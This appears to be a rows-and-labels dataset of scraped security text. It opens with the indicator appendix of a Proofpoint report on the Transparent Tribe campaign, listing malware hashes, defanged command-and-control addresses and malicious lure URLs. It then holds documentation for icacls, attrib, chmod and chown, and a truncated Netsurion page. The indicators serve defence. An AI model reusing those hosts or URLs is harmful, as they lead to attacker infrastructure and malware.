a4ce604f8d3ac2e5facdae3c63ef4dc6 a6d75b57bd597e723335f96f074f5700 a6ef041311497bcddb8818b5a4f6c90e ae2ef98a91c70dc43979ce7df8e475ad aec91b4453a1b321e302127bc9f21a7c f0e64d2b011223ece668c595406f1abc f4123e7f09961479452f0f42b3706293 fb2cb45bf53cef41674da2d9a4bdba32 Andromeda Domains dvdonlinestore.net eastmedia2112.com mustache-styles.com onlinestoreonsale.com pradahandbagsshoes.com vhideip.com wisheshub.com 99mesotheliomalawyers.com Various Downloader Samples 2ba1e2a63129517055ab3a63cb089e33 4131776ae573bdb25009a343cf1541f5 44fe2f4dd8b001bbcc4de737128095ca 63ee06dae035981c5aea04f5a52879c1 643e30e665124eea94a22641f79a9c91 67bad4ad3d9a06fc20bea8c3ebb7ad01 7e97efc85be451432388b9f1ce623400 861f621fdf2d3e760df50009fe2824ae a957e3a7aed4efd1b214d3c3b79f5874 c16b43a5897861fbe023e4b7d340f2e8 dbd5c44e6c189f289e0eea1454897b26 e26150f5186bb7230d85f4cf3aa45d17 Python Downloader Sample 82719f0f6237d3efb9dd67d95f842013 Meterpreter Samples 04e8404f1173037ba4e11241b141d91d c411ee81c34e14a1ace7e72bea2e8d12 d30c6df94922323041f8036365abbfd2 33 Meterpreter C&C 5.199.170[.]149 njRAT Sample 27ca136850214234bcdca765dfaed79f njRAT C&C 5.189.145[.]248 Malicious Documents 0197ff119e1724a1ffbf33df14411001 18711f1db99f6a6f73f8ab64f563accc 1f82e509371c1c29b40b865ba77d091a 278fd26be39a06d5e19c5e7fd7d3dcc2 3966f669a6af4278869b9cce0f2d9279 438031b9d79a17b776b7397e989dd073 68773f362d5ab4897d4ca217a9f53975 76f410c27d97e6c0403df274bebd5f6e 98bdcd97cd536ff6bcb2d39d9a097319 Unknown, likely related 0437655995f4d3104989fb963aa41339 c0ff05a6bf05465adfc9a1dfd5305bde Unknown C&C 5.189.137[.]8 Luminosity Link Sample 708a1af68d532df35c34f7088b8e798f Luminosity Link C&C 5.189.145[.]248 Bezigate Samples 236e7451cbce959ca0f62fb3b499b54e 44db769fb1f29a32d5c1998e29b4b7c4 85d182f7a0e049169a7bd0aa796fba96 96dbed32a59b50e6100f1ca35ef5a698 e49edc719eaab11a40158c15c9dd9b7b Bezigate C&C 107.167.93[.]197 62.4.23[.]46 ad2.admart[.]tv winupdatess.no-ip[.]biz DarkComet Samples 0aecd3b79d72cbfa8f5dce2a12e76053 278f889f494d62e214406c4fcfa6f9a3 fd5a419924a0816c6357b47f4e375732 34 DarkComet C&C ad2.admart[.]tv 107.167.93[.]197 Intribune.blogspot[.]com Links hxxp://intribune.blogspot[.]com/2015/11/4-sikh-army-officers-being-trialed-in.html hxxp://intribune.blogspot[.]com/2015/11/seventh-pay-commission-recommends.html hxxp://bbmsync2727[.]com/cu/seventh%20pay%20commission%20salary%20calculator.xls hxxp://intribune.blogspot[.]com/2015/11/army-air-defenceengineers-and-signal-to.html hxxp://intribune[.]blogspot[.]com/2015/09/sc-seeks-army-response-on-batch-parity.html hxxp://intribune[.]blogspot[.]com/2015/05/seniors-juniors-and-coursemates-please.html hxxp://intribune[.]blogspot[.]com/2015/07/awho-defence-and-para-military-forces.html attachment.biz links hxxp://ceengrmes[.]attachment[.]biz/?att=1450603943 hxxp://comdtoscc[.]attachment[.]biz/?att=1451926252 hxxp://comdtoscc[.]attachment[.]biz/?att=1453788170 hxxp://fileshare[.]attachment[.]biz/?att=1455255900 hxxp://fileshare[.]attachment[.]biz/?att=1455264091 Cluster 2 IOCs Crimson SecApp Samples ccfd8c384558c5a1e09350941faa08ab 167d632eea9bd1b6cac00a69b431a5c0 e3e4ced9b000aa47a449f186c7604ac8 79f7e1d6389c73a7e2525d0ec8fa3ce2 0a7a15180053270e25a220a3e38e7949 17495ce3d11e9cddf5a98ec34ee91d6a 148403235614461c1f088d524fbd9fd0 b67047e341653a01526cc178966d1f6c ef0ab9f731e7c980b163c7e1b5db9746 3739bbf831d04e8a2b06275cd3af371d 0d7846a76675be378a50667767d0e35a 4f9b754da90bed9a633130d893d65c4e 3e91836b89b6d6249741dc8ee0d2895a 85429d5f2745d813e53b28d3d953d1cd Crimson RAT Samples 870c0312cea7b3b6b82be01633b071cd a74165ec1d55b682ed232ffde62b3b11 8336d9aeccee3408a4f9fbf4b1a42bac 2dfe4468a052a07cab117a20e182adc9 Crimson C&C 178.238.228[.]113 Beendoor Downloader 950eb314435bdb3c46c9f0954c935287 Beendoor Sample d3094c89cad5f8d1ea5f0a7f23f0a2b1 Beendoor C&C 178.238.235[.]143 35 Cluster 3 IOCs Crimson RAT Samples 51c57b0366d0b71acf05b4df0afef52f 438f3ea41587e9891484dad233d6faa6 71cd70b289c53567579f8f6033d8191b d8637bdbcfc9112fcb1f0167b398e771 12929730cd95c6cf50dd3d470dd5f347 7ccc752b5956b86b966d15a6a4cf6df0 b2ed9415d7cf9bc06f8ccb8cfdba1ad6 cedb0fc3dfbb748fdcbb3eae9eb0a3f1 95cba4805f980e8c1df180b660e2abb4 Crimson C&C 88.150.227.71 Cluster 4 IOCs Crimson Downloader Sample 5d9b42853ecf3ff28d4e4313276b21ed Crimson RAT Samples 90b07bc12b45f2eb1b0305949f2cec25 3e7c2791ff7bc14ef30bba74954ef1e2 44145124e046804bf579c8839b63a9a7 a73494ca564f6404488a985cefd96f56 8a0db32b97be106d2834739ffd65715b ddb66b231ab63c65a8ce139e73652aec Crimson C&C bhai123.no-ip[.]biz bhai1.ddns[.]net sudhir71nda.no-ip[.]org 119.154.134[.]211 119.154.209[.]175 119.154.220[.]96 119.157.163[.]145 119.157.229[.]245 182.181.239[.]4 Unclustered Crimson Samples Crimson Downloader Samples 6a1c037c66184aa39096933f75d2d8ca 99d93e0c6bf9cf9acb92580686f6b743 af071cd2420057090cfe33fefa139d01 8c30ed1bc13feaa8e937be0f6a739be4 adf657337d7fa7fa07c72b12fb880e41 e2d1309893c0de5a026a2ae9e8ada486 99d93e0c6bf9cf9acb92580686f6b743 d0152f228e934dcafa866445c08e3242 af071cd2420057090cfe33fefa139d01 9b674985a412c4c07d52c7482c2ed286 c3af6b938988a88ea2dc2e59f8418062 2d58826fbff197918caa805aeed86059 ab6b6f675e48d818044c5e66d05813ce 4b1a627c43d4e0af504bf20023e74f6b 75798547f0ddca076070bcea67a0b064 0255f73a32bf781c786d19d149ddfb90 36 16eb146eee147a333ef82d39266d5cfb 2507f545a2d6e52ade2d7708d9ce89d1 f9798f171194ee4fec5334ded3d786e7 9b77eb38e32d43a97c5bde5ec829c5ca 2eea994efa88e0a612e82ee3e08e78f1 Crimson SecApp Samples c303a6ac44e3c59a9c3613ac9f92373b 92d6366d692a1b3691dce1379bb7b5aa eb01bbfe8ca7e8f59aab475ad1f18245 4d7ad9ab4c1d40365da60d4f2f195db4 f936afdd0b69d109215d295ab864d309 ec4bef2233002d8fe568428d16e610b1 045c4b69d907833729fd83d937669f66 522178a60b030bbab910cb86cfeaff20 1ab5f55763663ffb0807079397812b47 73b878e56f790dccf08bd2344b4031c8 f0f6544ddb26c55df2d6184f433d8c17 7c23f984170fd793cfde5fd68535d0a8 73b878e56f790dccf08bd2344b4031c8 7e50c67f1e94b154f110d5d73e2f312c 1bedd50f4ae757c6009acbe7da021122 ae9659a2c08e2cb9ab9e5cdcb8ab4036 0991033c2414b4992c1b5ab21c5a47e2 f710e3ad19a682dab374c167c7c2796a Crimson RAT Samples 214eb28f04d969c9f637b09e4ffad644 29097319b60c103421437214d5a3297e 38ce32cb94092cc6790030abcc9a638b 439ba84a964a17ce2c3d51ac49c68f81 4e9b81e70227575f2d2a6dd941540afa 5b4361e6a6117e9f7189a564f46157d7 5dbeb8475e22a938415eb43e6bd24fe8 6409930f39cd6c17fb68f7fee47b1cdf 82377fcf288e9db675ab24cbf76ea032 84c30675b5db34c407b98ea73c5e7e96 897fc3a65f84e1c3db932965a574d982 9e73d275202b02b3f0ed23951fda30da b0327f155ebaba23102f72c1100fa26b b05730eda99a9160cc3f8dec66e9f347 b467df662af8a1fbafa845c894d917e3 c0bf5a0f535380edec9b42a3cebb84c4 ca48224adce9609dc07e50930dd1afae dac44b9d5a8494a3293088c9678754bc e0217714f3a03fae4cdf4b5120213c38 e66203177a03743a6361a7b3e668b6a6 f05834a930f6fda6b877011c3fb3ef18 f1a2caf0dd7922ea3a64231fd5af7715 Crimson C&C 5.189.131[.]67 5.189.152[.]147 5.189.167[.]220 5.189.167[.]23 79.143.181[.]21 79.143.188[.]166 892 Ross Drive Sunnyvale, CA 94089 about proofpoint Proofpoint Inc. (NASDAQ:PFPT) is a leading security-as-a-service provider that focuses on cloud-based solutions for threat protection, compliance, archiving & governance, and secure communications. Organizations around the world depend on Proofpoint\xe2\x80\x99s expertise, patented technologies and on-demand delivery system to protect against phishing, malware and spam, safeguard privacy, encrypt sensitive information, and archive and govern messages and critical enterprise information. 1.408.517.4710 www.proofpoint.com 37 \xc2\xa9Proofpoint, Inc. Proofpoint is a trademark of Proofpoint, Inc. in the United States and other countries. All other trademarks contained herein are property of their respective owners. Threat Insight | Operation Transparent Tribe 193.164.131[.]58 213.136.69[.]224 213.136.73[.]122 213.136.84[.]43 MSIL/Crimson Modules Keylogger f18172d7bb8b98246cb3dbb0e9144731 b55a7da332bed90e798313b968ce7819 c0eb694960d0a7316264ced4d44b3abb 292f468f98e322795d1185c2b15c1f62 b6263f987fdec3fb3877845c8d5479dd 127ee83854f47628984ab47de725ee2f 2fa82dd2490fc697bb0bb0f8feb0dd85 bc6d139a3d630ba829337687b9328caf f3c8630d06e51e8f76aa1fb438371d21 3a64e2d3558a28c4fdb0f076fa09e1a1 370bb0ec1c16bd8821f7e53f6bfc61e3 Infostealer d938a75d93c20790b1f2b5d5b7294895 29eb61f04b905e2133e9afdd12482073 9bdfc0d5c45f1ce1200419ec6eec15f4 8a991eec65bd90f12450ee9dac0f286a USBstealer c3d65d73cd6894fdad3fc281b976fd8b e9b1a3aa2de67300356b6587a8034b0b cf5e472613921dc330008c79870b23ab bf2eb6c19778a35f812ddc86d616c837 1e5c2029dafdd50dce2effd5154b6879 b785db2b3801d5190dad9e6f03d48999 3f84ddc0d9ec7b08477a76b75b4421b8 c0ceba3a708082c372c077aa9420d09e d11ebec8f1d42dd139b18639f7f9534a -> 5.189.167[.]220 URLDownloader Module Sample 532013750ee3caac93a9972103761233 URLDownloader C&C hxxp://sahirlodhi[.]com/usr/api.txt _GoBack h.joci8kek0h3x h.hn2i1kwtic1y","1","0","0","0","0","1","0","0","1","1","1","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0" -"icacls | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents icacls 08/21/2018 3 minutes to read In this article Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories. For examples of how to use this command, see Examples. Syntax icacls [/grant[:r] :[...]] [/deny :[...]] [/remove[:g|:d]] [...]] [/t] [/c] [/l] [/q] [/setintegritylevel :[...]] icacls [/substitute [...]] [/restore [/c] [/l] [/q]] Parameters Parameter Description Specifies the file for which to display DACLs. Specifies the directory for which to display DACLs. /t Performs the operation on all specified files in the current directory and its subdirectories. /c Continues the operation despite any file errors. Error messages will still be displayed. /l Performs the operation on a symbolic link versus its destination. /q Suppresses success messages. [/save [/t] [/c] [/l] [/q]] Stores DACLs for all matching files into ACLfile for later use with /restore. [/setowner [/t] [/c] [/l] [/q]] Changes the owner of all matching files to the specified user. [/findSID [/t] [/c] [/l] [/q]] Finds all matching files that contain a DACL explicitly mentioning the specified security identifier (SID). [/verify [/t] [/c] [/l] [/q]] Finds all files with ACLs that are not canonical or have lengths inconsistent with ACE (access control entry) counts. [/reset [/t] [/c] [/l] [/q]] Replaces ACLs with default inherited ACLs for all matching files. [/grant[:r] :[...]] Grants specified user access rights. Permissions replace previously granted explicit permissions. Without :r, permissions are added to any previously granted explicit permissions. [/deny :[...]] Explicitly denies specified user access rights. An explicit deny ACE is added for the stated permissions and the same permissions in any explicit grant are removed. [/remove[:g|:d]] [...]] [/t] [/c] [/l] [/q] Removes all occurrences of the specified SID from the DACL. :g removes all occurrences of granted rights to the specified SID.:d removes all occurrences of denied rights to the specified SID. [/setintegritylevel [(CI)(OI)]:[...]] Explicitly adds an integrity ACE to all matching files. Level is specified as: - L[ow]- M[edium] - H[igh]Inheritance options for the integrity ACE may precede the level and are applied only to directories. [/substitute [...]] Replaces an existing SID (SidOld) with a new SID (SidNew). Requires the Directory parameter. /restore [/c] [/l] [/q] Applies stored DACLs from ACLfile to files in the specified directory. Requires the Directory parameter. /inheritancelevel:[e|d|r] Sets the inheritance level: e - Enables enheritance d - Disables inheritance and copies the ACEs r - Removes all inherited ACEs Remarks SIDs may be in either numerical or friendly name form. If you use a numerical form, affix the wildcard character * to the beginning of the SID. icacls preserves the canonical order of ACE entries as: Explicit denials Explicit grants Inherited denials Inherited grants Perm is a permission mask that can be specified in one of the following forms: A sequence of simple rights: F (full access) M (modify access) RX (read and execute access) R (read-only access) W (write-only access) A comma-separated list in parenthesis of specific rights: D (delete) RC (read control) WDAC (write DAC) WO (write owner) S (synchronize) AS (access system security) MA (maximum allowed) GR (generic read) GW (generic write) GE (generic execute) GA (generic all) RD (read data/list directory) WD (write data/add file) AD (append data/add subdirectory) REA (read extended attributes) WEA (write extended attributes) X (execute/traverse) DC (delete child) RA (read attributes) WA (write attributes) Inheritance rights may precede either Perm form, and they are applied only to directories: (OI): object inherit (CI): container inherit (IO): inherit only (NP): do not propagate inherit Examples To save the DACLs for all files in the C:\\Windows directory and its subdirectories to the ACLFile file, type: icacls c:\\windows\\* /save aclfile /t To restore the DACLs for every file within ACLFile that exists in the C:\\Windows directory and its subdirectories, type: icacls c:\\windows\\ /restore aclfile To grant the user User1 Delete and Write DAC permissions to a file named ""Test1"", type: icacls test1 /grant User1:(d,wdac) To grant the user defined by SID S-1-1-0 Delete and Write DAC permissions to a file, named ""Test2"", type: icacls test2 /grant *S-1-1-0:(d,wdac) Additional references Command-Line Syntax Key Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"attrib | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents attrib 10/16/2017 2 minutes to read In this article Displays, sets, or removes attributes assigned to files or directories. If used without parameters, attrib displays attributes of all files in the current directory. For examples of how to use this command, see Examples. Syntax attrib [{+|-}r] [{+|-}a] [{+|-}s] [{+|-}h] [{+|-}i] [:][][] [/s [/d] [/l]] Parameters Parameter Description {+|-}r Sets (+) or clears (-) the Read-only file attribute. {+|-}a Sets (+) or clears (-) the Archive file attribute. {+|-}s Sets (+) or clears (-) the System file attribute. {+|-}h Sets (+) or clears (-) the Hidden file attribute. {+|-}i Sets (+) or clears (-) the Not Content Indexed file attribute. [:][][] Specifies the location and name of the directory, file, or group of files for which you want to display or change attributes. You can use the ? and * wildcard characters in the FileName parameter to display or change the attributes for a group of files. /s Applies attrib and any command-line options to matching files in the current directory and all of its subdirectories. /d Applies attrib and any command-line options to directories. /l Applies attrib and any command-line options to the Symbolic Link, rather than the target of the Symbolic Link. /? Displays help at the command prompt. Remarks You can use wildcard characters (? and *) with the FileName parameter to display or change the attributes for a group of files. If a file has the System (s) or Hidden (h) attribute set, you must clear the attribute before you can change any other attributes for that file. The Archive attribute (a) marks files that have changed since the last time they were backed up. Note that the xcopy command uses archive attributes. Examples To display the attributes of a file named News86 that is located in the current directory, type: attrib news86 To assign the Read-only attribute to the file named Report.txt, type: attrib +r report.txt To remove the Read-only attribute from files in the Public directory and its subdirectories on a disk in drive B, type: attrib -r b:\\public\\*.* /s To set the Archive attribute for all files on drive A, and then clear the Archive attribute for files with the .bak extension, type: attrib +a a:*.* & attrib -a a:*.bak Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"die.net chmod(1) - Linux man page Name chmod - change file mode bits Synopsis chmod [OPTION]... MODE[,MODE]... FILE... chmod [OPTION]... OCTAL-MODE FILE... chmod [OPTION]... --reference=RFILE FILE... Description This manual page documents the GNU version of chmod. chmod changes the file mode bits of each given file according to mode, which can be either a symbolic representation of changes to make, or an octal number representing the bit pattern for the new mode bits. The format of a symbolic mode is [ugoa...][[+-=][perms...]...], where perms is either zero or more letters from the set rwxXst, or a single letter from the set ugo. Multiple symbolic modes can be given, separated by commas. A combination of the letters ugoa controls which users' access to the file will be changed: the user who owns it (u), other users in the file's group (g), other users not in the file's group (o), or all users (a). If none of these are given, the effect is as if a were given, but bits that are set in the umask are not affected. The operator + causes the selected file mode bits to be added to the existing file mode bits of each file; - causes them to be removed; and = causes them to be added and causes unmentioned bits to be removed except that a directory's unmentioned set user and group ID bits are not affected. The letters rwxXst select file mode bits for the affected users: read (r), write (w), execute (or search for directories) (x), execute/search only if the file is a directory or already has execute permission for some user (X), set user or group ID on execution (s), restricted deletion flag or sticky bit (t). Instead of one or more of these letters, you can specify exactly one of the letters ugo: the permissions granted to the user who owns the file (u), the permissions granted to other users who are members of the file's group (g), and the permissions granted to users that are in neither of the two preceding categories (o). A numeric mode is from one to four octal digits (0-7), derived by adding up the bits with values 4, 2, and 1. Omitted digits are assumed to be leading zeros. The first digit selects the set user ID (4) and set group ID (2) and restricted deletion or sticky (1) attributes. The second digit selects permissions for the user who owns the file: read (4), write (2), and execute (1); the third selects permissions for other users in the file's group, with the same values; and the fourth for other users not in the file's group, with the same values. chmod never changes the permissions of symbolic links; the chmod system call cannot change their permissions. This is not a problem since the permissions of symbolic links are never used. However, for each symbolic link listed on the command line, chmod changes the permissions of the pointed-to file. In contrast, chmod ignores symbolic links encountered during recursive directory traversals. Setuid and Setgid Bits chmod clears the set-group-ID bit of a regular file if the file's group ID does not match the user's effective group ID or one of the user's supplementary group IDs, unless the user has appropriate privileges. Additional restrictions may cause the set-user-ID and set-group-ID bits of MODE or RFILE to be ignored. This behavior depends on the policy and functionality of the underlying chmod system call. When in doubt, check the underlying system behavior. chmod preserves a directory's set-user-ID and set-group-ID bits unless you explicitly specify otherwise. You can set or clear the bits with symbolic modes like u+s and g-s, and you can set (but not clear) the bits with a numeric mode. Restricted Deletion Flag or Sticky Bit The restricted deletion flag or sticky bit is a single bit, whose interpretation depends on the file type. For directories, it prevents unprivileged users from removing or renaming a file in the directory unless they own the file or the directory; this is called the restricted deletion flag for the directory, and is commonly found on world-writable directories like /tmp. For regular files on some older systems, the bit saves the program's text image on the swap device so it will load more quickly when run; this is called the sticky bit. Options Change the mode of each FILE to MODE. -c, --changes like verbose but report only when a change is made --no-preserve-root do not treat '/' specially (the default) --preserve-root fail to operate recursively on '/' -f, --silent, --quiet suppress most error messages -v, --verbose output a diagnostic for every file processed --reference=RFILE use RFILE's mode instead of MODE values -R, --recursive change files and directories recursively --help display this help and exit --version output version information and exit Each MODE is of the form '[ugoa]*([-+=]([rwxXst]*|[ugo]))+'. Author Written by David MacKenzie and Jim Meyering. Reporting Bugs Report chmod bugs to bug-coreutils@gnu.org GNU coreutils home page: General help using GNU software: Report chmod translation bugs to Copyright Copyright \xc3\x82\xc2\xa9 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. See Also chmod(2) The full documentation for chmod is maintained as a Texinfo manual. If the info and chmod programs are properly installed at your site, the command info coreutils aqchmod invocationaq should give you access to the complete manual. Referenced By acl(5), apmsleep(1), attr(5), chacl(1), cloginrc(5), collectd.conf(5), cpmchmod(1), faxcron(8), fcntl(2), find(1), finger(1), fsdiff(1), genisoimage(1), gfs2_mount(8), gfs_mount(8), guestfish(1), jk_init(8), kpsestat(1), ksh(1), ksh93(1), lp(4), lslk(8), mailx(1), mkfs.xfs(8), mksh(1), mount.gfs2(8), mtree(8), nfs4_acl(5), nfs4_setfacl(1), path_resolution(2), path_resolution(7), rfchmod(1), rfmkdir(1), rrdcached(1), rsync(1), rsyncd.conf(5), sane-umax_pp(5), setfacl(1), setmode(3), sh(1), shellinaboxd(1), slapd(8), snmpd.conf(5), sssd-krb5(5), star(1), strmode(3), symlink(7), tex4ht(1), texmfstart(1), zapping_setup_fb(1), zoo(1), zshbuiltins(1) Site Search Library linux docs linux man pages page load time Toys world sunlight moon phase trace explorer Back","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"die.net chown(1) - Linux man page Name chown - change file owner and group Synopsis chown [OPTION]... [OWNER][:[GROUP]] FILE... chown [OPTION]... --reference=RFILE FILE... Description This manual page documents the GNU version of chown. chown changes the user and/or group ownership of each given file. If only an owner (a user name or numeric user ID) is given, that user is made the owner of each given file, and the files' group is not changed. If the owner is followed by a colon and a group name (or numeric group ID), with no spaces between them, the group ownership of the files is changed as well. If a colon but no group name follows the user name, that user is made the owner of the files and the group of the files is changed to that user's login group. If the colon and group are given, but the owner is omitted, only the group of the files is changed; in this case, chown performs the same function as chgrp. If only a colon is given, or if the entire operand is empty, neither the owner nor the group is changed. Options Change the owner and/or group of each FILE to OWNER and/or GROUP. With --reference, change the owner and group of each FILE to those of RFILE. -c, --changes like verbose but report only when a change is made --dereference affect the referent of each symbolic link (this is the default), rather than the symbolic link itself -h, --no-dereference affect each symbolic link instead of any referenced file (useful only on systems that can change the ownership of a symlink) --from=CURRENT_OWNER:CURRENT_GROUP change the owner and/or group of each file only if its current owner and/or group match those specified here. Either may be omitted, in which case a match is not required for the omitted attribute. --no-preserve-root do not treat '/' specially (the default) --preserve-root fail to operate recursively on '/' -f, --silent, --quiet suppress most error messages --reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values -R, --recursive operate on files and directories recursively -v, --verbose output a diagnostic for every file processed The following options modify how a hierarchy is traversed when the -R option is also specified. If more than one is specified, only the final one takes effect. -H if a command line argument is a symbolic link to a directory, traverse it -L traverse every symbolic link to a directory encountered -P do not traverse any symbolic links (default) --help display this help and exit --version output version information and exit Owner is unchanged if missing. Group is unchanged if missing, but changed to login group if implied by a ':' following a symbolic OWNER. OWNER and GROUP may be numeric as well as symbolic. Examples chown root /u Change the owner of /u to ""root"". chown root:staff /u Likewise, but also change its group to ""staff"". chown -hR root /u Change the owner of /u and subfiles to ""root"". Author Written by David MacKenzie and Jim Meyering. Reporting Bugs Report chown bugs to bug-coreutils@gnu.org GNU coreutils home page: General help using GNU software: Report chown translation bugs to Copyright Copyright \xc3\x82\xc2\xa9 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. See Also chown(2) The full documentation for chown is maintained as a Texinfo manual. If the info and chown programs are properly installed at your site, the command info coreutils aqchown invocationaq should give you access to the complete manual. Referenced By fd(4), hd(4), initrd(4), lp(4), mem(4), mtree(8), procmail(1), ram(4), rpc.statd(8), sm-notify(8), symlink(7), tty(4), ttys(4), zero(4) Site Search Library linux docs linux man pages page load time Toys world sunlight moon phase trace explorer Back","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Monitoring File Permission Changes with the Windows Security Log Actionable Security Intelligence by Netsurion About Netsurion About Netsurion Leadership News Careers EventTracker Awards EventTracker Testimonials EventTracker Press Releases Partners Partner Program Become a Partner Partner Portal Contact Us Schedule Demo Solutions Co-Sourcing SIEM When outsourcing isn\xe2\x80\x99t an option but SIEM proficiency is beyond the internal staff\xe2\x80\x99s expertise, a hybrid approach is essential. \xc2 Download the Report Solutions \xc2 Co-managed SIEM \xc2 Managed SIEM for MSPs \xc2 Managed EDR \xc2 SIEM Software \xc2 Centralized Log Management Advanced Threat Protection Capabilities EventTracker Essentials is a managed security solution delivering advanced threat protection and compliance for SMBs. \xc2 Download the Datasheet Capabilities \xc2 SIEM and Log Management \xc2 Threat Detection and Response \xc2 Vulnerability Assessment \xc2 User and Entity Behavior Analytics \xc2 Security Orchestration and Automation \xc2 Compliance Let's Go Threat Hunting: Gain Visibility and Insight into Potential Threats and Risks Industries Choosing the Right SIEM Find out how to cut through all the vendor hype and select the right solution for your environment and needs. \xc2 Download the Whitepaper Industries \xc2 Finance and Banking \xc2 Energy and Utilities \xc2 Legal \xc2 Higher Education \xc2 Government \xc2 Healthcare \xc2 Retail Bracing for the Tidal Wave of Data Privacy Compliance in America Knowledge Center Find out what it takes to operate a SOC and how your organization can get there fast, effectively, and affordably. \xc2 Download the Whitepaper Knowledge Center \xc2 Catch of the Day \xc2 Articles \xc2 Videos \xc2 